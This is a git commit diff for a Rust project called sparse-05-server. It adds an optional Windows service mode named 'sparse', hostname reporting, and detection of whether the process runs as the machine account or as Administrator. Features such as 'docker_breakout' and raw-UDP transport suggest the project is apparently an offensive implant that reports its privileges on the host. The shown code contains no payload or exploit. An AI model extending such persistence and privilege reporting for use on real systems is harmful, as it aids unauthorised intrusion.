Cleaned up Windows server and added more docs
This commit is contained in:
@@ -17,6 +17,7 @@ sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
|
||||
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
|
||||
packets = { path = "../../packets" }
|
||||
pcap-sys = { path = "../../pcap-sys", optional = true }
|
||||
windows-service = { version = "0.6.0", optional = true }
|
||||
|
||||
[build-dependencies]
|
||||
cc = "1.0"
|
||||
@@ -25,4 +26,5 @@ cc = "1.0"
|
||||
default = ["pcap"]
|
||||
docker-breakout = []
|
||||
exit = []
|
||||
service = ["dep:windows-service"]
|
||||
pcap = ["dep:pcap-sys"]
|
||||
|
||||
@@ -11,6 +11,7 @@ pub struct SrvCapabilities {
|
||||
pub docker_breakout: bool,
|
||||
pub setuid: bool,
|
||||
pub root: bool,
|
||||
pub service: bool,
|
||||
pub userent: Option<String>,
|
||||
pub transport: TransportType,
|
||||
pub hostname: Option<String>,
|
||||
@@ -26,6 +27,7 @@ impl SrvCapabilities {
|
||||
operating_system: self.operating_system.clone(),
|
||||
root: self.root,
|
||||
setuid: self.setuid,
|
||||
service: self.service,
|
||||
transport: self.transport,
|
||||
userent: self.userent.clone(),
|
||||
}
|
||||
@@ -79,7 +81,7 @@ fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
fn get_username(_uid: u32) -> anyhow::Result<Option<String>> {
|
||||
Ok(std::env::var("USERPROFILE").ok())
|
||||
Ok(std::env::var("USERNAME").ok())
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
@@ -125,6 +127,7 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
docker_breakout,
|
||||
setuid,
|
||||
root,
|
||||
service: false,
|
||||
userent,
|
||||
transport,
|
||||
hostname,
|
||||
@@ -134,20 +137,19 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
#[cfg(target_os = "windows")]
|
||||
fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
let userent = get_username(0)?;
|
||||
let hostname = std::env::var("COMPUTERNAME").ok();
|
||||
let service_name = hostname.clone().map(|name| format!("{name}$"));
|
||||
|
||||
Ok(SrvCapabilities {
|
||||
operating_system: OperatingSystem::Windows,
|
||||
docker_container: false,
|
||||
docker_breakout: false,
|
||||
setuid: false,
|
||||
service: userent.as_deref() == service_name.as_deref(),
|
||||
root: userent.as_deref() == Some("Administrator"),
|
||||
userent: userent.clone(),
|
||||
transport: TransportType::RawUdp, /*if userent.as_deref() == Some("Administrator") {
|
||||
TransportType::RawUdp
|
||||
} else {
|
||||
TransportType::Udp
|
||||
},*/
|
||||
hostname: None,
|
||||
transport: TransportType::RawUdp,
|
||||
hostname,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::{
|
||||
collections::HashMap,
|
||||
net::Ipv4Addr,
|
||||
sync::{mpsc::channel, Arc, Mutex},
|
||||
thread,
|
||||
thread, ffi::OsString,
|
||||
};
|
||||
|
||||
use anyhow::{bail, Context};
|
||||
@@ -18,7 +18,7 @@ mod capabilities;
|
||||
mod connection;
|
||||
mod interface;
|
||||
|
||||
fn main() -> anyhow::Result<()> {
|
||||
fn main_to_run() -> anyhow::Result<()> {
|
||||
simple_logger::SimpleLogger::new()
|
||||
.with_level(log::LevelFilter::Off)
|
||||
.with_module_level("sparse-05-server", log::LevelFilter::Debug)
|
||||
@@ -119,3 +119,37 @@ fn main() -> anyhow::Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn main() -> anyhow::Result<()> {
|
||||
main_to_run()
|
||||
}
|
||||
|
||||
#[cfg(all(windows, feature = "service"))]
|
||||
fn main() -> Result<(), windows_service::Error> {
|
||||
windows_main::actual_main_func()
|
||||
}
|
||||
|
||||
#[cfg(all(windows, not(feature = "service")))]
|
||||
fn main() -> anyhow::Result<()> {
|
||||
main_to_run()
|
||||
}
|
||||
|
||||
#[cfg(all(windows, feature = "service"))]
|
||||
mod windows_main {
|
||||
use std::ffi::OsString;
|
||||
use windows_service::service::ServiceControl;
|
||||
use windows_service::service_control_handler::{self, ServiceControlHandlerResult};
|
||||
use windows_service::service_dispatcher;
|
||||
|
||||
fn main_wrapper(args: Vec<OsString>) {
|
||||
super::main_to_run().expect("error running service");
|
||||
}
|
||||
|
||||
windows_service::define_windows_service!(ffi_service_main, main_wrapper);
|
||||
|
||||
pub fn actual_main_func() -> Result<(), windows_service::Error> {
|
||||
service_dispatcher::start("sparse", ffi_service_main)?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user